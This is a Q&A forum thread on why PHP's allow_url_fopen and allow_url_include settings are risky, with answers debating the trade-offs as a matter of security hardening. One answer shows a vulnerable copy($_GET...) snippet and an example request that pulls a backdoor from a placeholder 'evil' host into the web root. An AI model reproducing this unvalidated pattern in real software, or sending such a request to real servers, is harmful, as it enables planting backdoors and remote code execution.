views:

40

answers:

5

Why is not secure allow to access to resources with URIs like "http://example.com/badcode.txt"? What means non-file-based?

i'm reading this PHP security check list: http://www.sk89q.com/2009/08/definitive-php-security-checklist/

thx

^_^

+1  A: 

You must mean allow_url_fopen. Honestly, I don't think there's any valid security reason to disallow this.

allow_url_include is an option that it's better to have disabled, in case you have an error in your scripts that uses user input to build a path of an include path. Honestly, that shouldn't be done ever, but the settings can mitigate some damage (it won't hurt).

Artefacto
allow_url_fopen is very dangerous i have personally written exploits to leverage this issue.
Rook
@The Rook Please give some links then. See my comment on Pascal's answer.
Artefacto
Rook
A: 

That particular section talks about including files (i.e. php code that is executed). If you use a stream from another site being included, you basically allow code be run on your server that you have not vetted. It could change with time, there could be a man in the middle attack.

Basically you open a backdoor to allow code being run on your server that is out of your control. This is by definition insecure.

Even if you don't include it directly in your code, as with user inputs, you need to encapsulate anything you use in order to prevent code injection either to sql or to php. I have seen people directly putting uncontrolled input into eval statements. Which in turn often leads to a compromised computer.

txwikinger
+1  A: 

Well, the HTTP protocol is insecure by default, an attack in the middle is possible, resulting in 'rogue code'. If you MUST require/include over HTTP (I cannot fathom why it should ever be necessary), at least use HTTPS.

Wrikken
allow_url_fopen will also disable https, I'm almost sure.
Artefacto
Yes, as there is no good reason the use http(s) includes normally (far better solutions are available for 'remote code'), the point was IF you enable allow_url_fopen, THEN at least use HTTPS.
Wrikken
A: 

A function that can load "non-file-based" data is a function that :

  • is Generally used to load files from the local disk
  • but can also access remote data, via HTTP, FTP, ...

An example of such function is file_get_contents, if allow_url_fopen is enabled.


About the "non-secure" stuff, look at this example :

$file = '...';
$my_data = file_get_contents($file);

With that, you'll suppose that $my_data contains something loaded from a local-file.

Now, if $file is created with something passed to the script, as $_GET, for example, you might end up loading a remote file, and not a local-one... And you have no idea what $my_data might contain, in such a situation.

This could be dangerous with just loading a file... Now, if you were using require instead of file_get_contents... it means anyone could execute any PHP code on your server !


Happily for us, there is one directive to enable remote-file opening (allow_url_fopen), and another one to enable remote-file inclusion (allow_url_include).

Quite often, the first one is enable, because it's useful ; and the second is disabled, because it causes ecurity risks.

Pascal MARTIN
This argument makes no sense. So fetching remote data is more dangerous than fetching arbitrary data from the server itself?... The user data should be properly validated, `allow_url_fopen` provides no security and gets on the way. I would never recommend to have it set to `false`.
Artefacto
IN therory, you know what's on your server, so opening a local file is supposed to be safer ;; on the other hand, you don't know what's on a remote server, so opening a remote file, depending on what you're doing with the data, could be more dangerous ;;; of course, like you said, user-submitted data should be properly validated... But, unfortunately, is not always *(well, it's easy to forget, sometimes... and not everyone thinks about security :-( )*
Pascal MARTIN
If anything, I think it's more dangerous to allow reading local files than remote ones because it can expose private information on your server, the only exception being the case The Rook points to when you're copying from an arbitrary file.
Artefacto
+1  A: 

allow_url_fopen is dangerous because it turns seemingly innocent functions into dangerous "sinks". For instance the copy() function is useful for moving files around, but with allow_url_fopen=On you can do somthing nasty:

copy($_GET[file],$_GET[path]);

http://localhost/copy.php?file=http://evil/backdoor.txt&path=/var/wwww/backdoor.php

allow_url_fopen should be disabled on a production system. You should use curl for accessing http/ftp/whatever. Also make sure to run PHPSecInfo to further lock down your php installation. PHPSecInfo will throw a warning for allow_url_fopen.

Rook
OK, this is one of the few cases where accessing a non-validated user-supplied path is more dangerous than accessing a non-validated local path, but really... allow_url_fopen won't prevent information disclosure vulnerabilities which would be more common with a non-validated path. The solution is to validate the path, not to turn off a useful feature of the language.
Artefacto
@Artefacto no it should be disabled, you need to lock down the language to make every function call as safe as possible because developers will write bugs.
Rook
@Artefacto also if you look at my coppermine exploit you'll see the developers where sanitizing user input, however i'm poising the global variable namespace to bring a taint'ed variable the `copy()` sink function. And for the record a default php.ini is **HORRIBLY INSECURE**, you must run phpsecinfo on **all** production systems.
Rook
@The Rook Well, the source code of the application doesn't seem to go to the actual filesystem function call, so I really didn't get exactly what was going on; but anyway the problem seems to also be `register_globals`, which has been deprecated for n years. `allow_url_fopen` does indeed make the problem worse, but there would still be a vulnerability otherwise.
Artefacto
@Artefacto Its true, it would still be a vulnerability, however my point is that its made far worse due to a php misconfiguration. This is the logic behind phpsecinfo, its about hardening the system from attack. This is a "Defense in depth" approach, you should plan on failure.
Rook
@The Rook Fair enough, I think our disagreement is on the value of allowing remote file wrappers versus the risk. A language whose only valid program was an empty one and which did nothing would be perfectly secure, but not particularly useful.
Artefacto
@Artefacto totally agree, and in Security our job is to make software less useful.
Rook